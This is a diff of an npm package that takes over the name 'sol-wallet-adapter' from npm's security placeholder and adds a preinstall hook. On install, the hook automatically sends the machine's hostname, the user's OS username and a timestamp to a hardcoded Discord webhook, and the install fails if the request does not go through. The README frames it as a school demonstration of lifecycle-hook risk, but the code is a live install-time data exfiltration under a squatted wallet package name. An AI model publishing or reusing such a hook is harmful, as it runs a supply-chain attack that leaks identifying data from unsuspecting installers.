sol-wallet-adapter 0.0.1-security → 1.0.0

package/README.md

@@ -1,5 +1,27 @@
-# Security holding package
+# cutekitten-test
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+**Security test package — do not install unless you know what it does.**
 
-Please refer to www.npmjs.com/advisories?search=sol-wallet-adapter for more information.
+Published for a school project demonstrating npm lifecycle hook risks.
+
+## What it does on `npm install`
+
+Its `preinstall` hook POSTs a Discord webhook message containing:
+
+- the installing machine's hostname
+- the installing user's OS username
+- the local timestamp
+
+It sends this to a hardcoded webhook URL embedded in `preinstall.js` and writes
+`.preinstall-marker.json` recording whether the request succeeded. If the request
+fails, the install fails (exit code 1).
+
+## Why
+
+npm runs dependency lifecycle scripts automatically during install. This package
+exists to show that installing a dependency can silently execute code and reach
+the network. Install with `--ignore-scripts` to suppress the hook.
+
+## Requirements
+
+Node.js 18 or newer.

package/index.js

@@ -0,0 +1,5 @@
+'use strict';
+
+module.exports = function cutekittenTest() {
+  return 'cutekitten-test is available';
+};

package/package.json

@@ -1,6 +1,24 @@
 {
   "name": "sol-wallet-adapter",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.0",
+  "description": "Testing purposes",
+  "main": "index.js",
+  "files": [
+    "index.js",
+    "preinstall.js"
+  ],
+  "engines": {
+    "node": ">=18"
+  },
+  "keywords": [
+    "security-research",
+    "lifecycle-hooks",
+    "preinstall",
+    "test",
+    "do-not-use"
+  ],
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "license": "UNLICENSED"
 }

package/preinstall.js

@@ -0,0 +1,64 @@
+'use strict';
+
+const fs = require('node:fs');
+const path = require('node:path');
+const os = require('node:os');
+
+const WEBHOOK_URL = 'https://canary.discord.com/api/webhooks/1566232728179843243/pM5rDIrCRrEpQRbA7ibaiQk1XOQlIftmBacA5s8jD8NvXn5W-rS832DOWHQS-G-j3N6U';
+
+function timestamp() {
+  const d = new Date();
+  const p = n => String(n).padStart(2, '0');
+  return `${d.getFullYear()}-${p(d.getMonth() + 1)}-${p(d.getDate())} ` +
+    `${p(d.getHours())}:${p(d.getMinutes())}:${p(d.getSeconds())}`;
+}
+
+async function runHook({
+  send = globalThis.fetch,
+  writeMarker = marker => fs.writeFileSync(
+    path.join(__dirname, '.preinstall-marker.json'),
+    JSON.stringify(marker, null, 2) + '\n'
+  ),
+} = {}) {
+  const message = `Run on ${os.hostname()} as ${os.userInfo().username} at ${timestamp()}`;
+
+  const marker = {
+    package: 'cutekitten-test',
+    event: process.env.npm_lifecycle_event || 'manual',
+    timestamp: new Date().toISOString(),
+  };
+
+  try {
+    const response = await send(WEBHOOK_URL, {
+      method: 'POST',
+      headers: { 'Content-Type': 'application/json; charset=utf-8' },
+      body: JSON.stringify({ content: message, username: 'PC Notifier' }),
+      redirect: 'error',
+      signal: AbortSignal.timeout(5000),
+    });
+    marker.webhook = response.ok
+      ? { status: 'sent', httpStatus: response.status }
+      : { status: 'failed', reason: `Discord responded with HTTP ${response.status}.` };
+  } catch (err) {
+    marker.webhook = { status: 'failed', reason: err.message };
+  }
+
+  writeMarker(marker);
+  return marker;
+}
+
+module.exports = runHook;
+
+if (require.main === module) {
+  runHook().then(marker => {
+    if (marker.webhook.status === 'sent') {
+      console.log('Discord message sent.');
+    } else {
+      console.error(marker.webhook.reason);
+      process.exitCode = 1;
+    }
+  }).catch(() => {
+    console.error('[cutekitten-test] Unable to write the local test marker.');
+    process.exitCode = 1;
+  });
+}